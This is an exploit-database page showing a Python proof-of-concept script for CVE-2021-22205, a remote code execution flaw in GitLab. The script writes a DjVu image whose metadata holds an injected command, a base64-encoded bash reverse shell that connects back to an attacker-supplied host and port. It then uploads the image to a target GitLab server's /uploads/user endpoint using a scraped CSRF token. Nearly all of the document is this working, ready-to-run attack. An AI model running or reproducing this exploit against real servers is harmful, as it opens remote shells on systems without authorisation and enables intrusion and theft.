Exploit database

GH-68c53a42884e631170585f4efec362f0

faisalfs10x/gitlab-cve-2021-22205-scanner

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-22205

29 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
faisalfs10x/gitlab-cve-2021-22205-scannerRevision 6622aca3cd53

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

GitLab-revshell.py

Python · 3,678 bytes
#!/usr/bin/python3
"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
""" 
import requests
import base64
import argparse
from bs4 import BeautifulSoup
import os

def check_djvumake():
    
    # Checking if djvumake is installed
    check = os.popen('which djvumake').read()
    if (check == ""):
        exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin")

def rev_shell(target,LHOST,LPORT):

    session = requests.Session()
    rev = f"/bin/bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
    
    b64rev = base64.b64encode(rev.encode()).decode("utf-8")
      
    payload = f"\" . qx{{`echo {b64rev} | base64 -d | bash`}} . \\\n"

    DjVu_file = 'sploit'
    print('[+] Preparing DjVu files: /tmp/'+ DjVu_file)
    f1 = open(f"/tmp/{DjVu_file}","w")
    f1.write('(metadata\n')
    f1.write('        (Copyright "\\\n')
    f1.write(payload)
    f1.write('" b ") )')
    f1.close()

    os.system(f'djvumake /tmp/{DjVu_file}.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/{DjVu_file}')
    
    try:
        
        print('[+] Attempt to spawn shell: '+ str(rev))
        try:

            r = session.get(target + "/users/sign_in", verify=False, timeout=30) # add timeout if script hanging due to unresponding target
            soup = BeautifulSoup(r.text, features="lxml")
            csrf = soup.findAll('meta')[16].get("content")

            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
                'Accept': 'application/json',
                'Accept-Language': 'en-US,en;q=0.5',
                'Accept-Encoding': 'gzip, deflate',
                'Referer': f'{target}/projects',
                'Connection': 'close',
                'Upgrade-Insecure-Requests': '1',
                'X-Requested-With': 'XMLHttpRequest',
                'X-CSRF-Token': f'{csrf}'
            }

            files = {'file': ('sploit.jpg', open('/tmp/sploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})}

        except requests.Timeout as e:
            print("[-] Target "+ target + " - May not responding")  
            exit()  

        try:

            r = session.post(target +'/uploads/user', files=files, headers=headers, verify=False, timeout=10)

        except requests.Timeout as e: # check target whether make response in 10 s, then it indicates shell has been spawned !
            print(f"[+] Success: shell spawned to {LHOST} via port {LPORT} - XD")
                
        else:
            print('[?] Status code: ' + str(r.status_code))
            print(f"[-] Please setup listener first and try again with: nc -lvp {LPORT}")
            #exit()    
        
            if r.text != "Failed to process image\n":
                print("[-] Target "+ target + " [-] failed")
            else:
                print("[+] Target "+ target + " [+] exploitable")

    except KeyboardInterrupt:
            exit('User aborted!')

def main():
    parser = argparse.ArgumentParser(description='GitLab CVE-2021-22205 RevShell')
    parser.add_argument('-u', '--target', type=str, required=True, help=' Target URL, http(s)://gitlab.example.com')
    parser.add_argument('-l', '--lhost', type=str, required=True, help=' Attacker IP')
    parser.add_argument('-p', '--lport', type=str, required=True, help=' Attacker port')
    args = parser.parse_args()

    target = args.target
    LHOST = args.lhost
    LPORT = args.lport

    try:
        check_djvumake()
        rev_shell(target,LHOST,LPORT)

    except Exception as e:
        exit(e)   
   
if __name__ == '__main__':

    try:
          main()
    except KeyboardInterrupt:
        exit('User aborted!')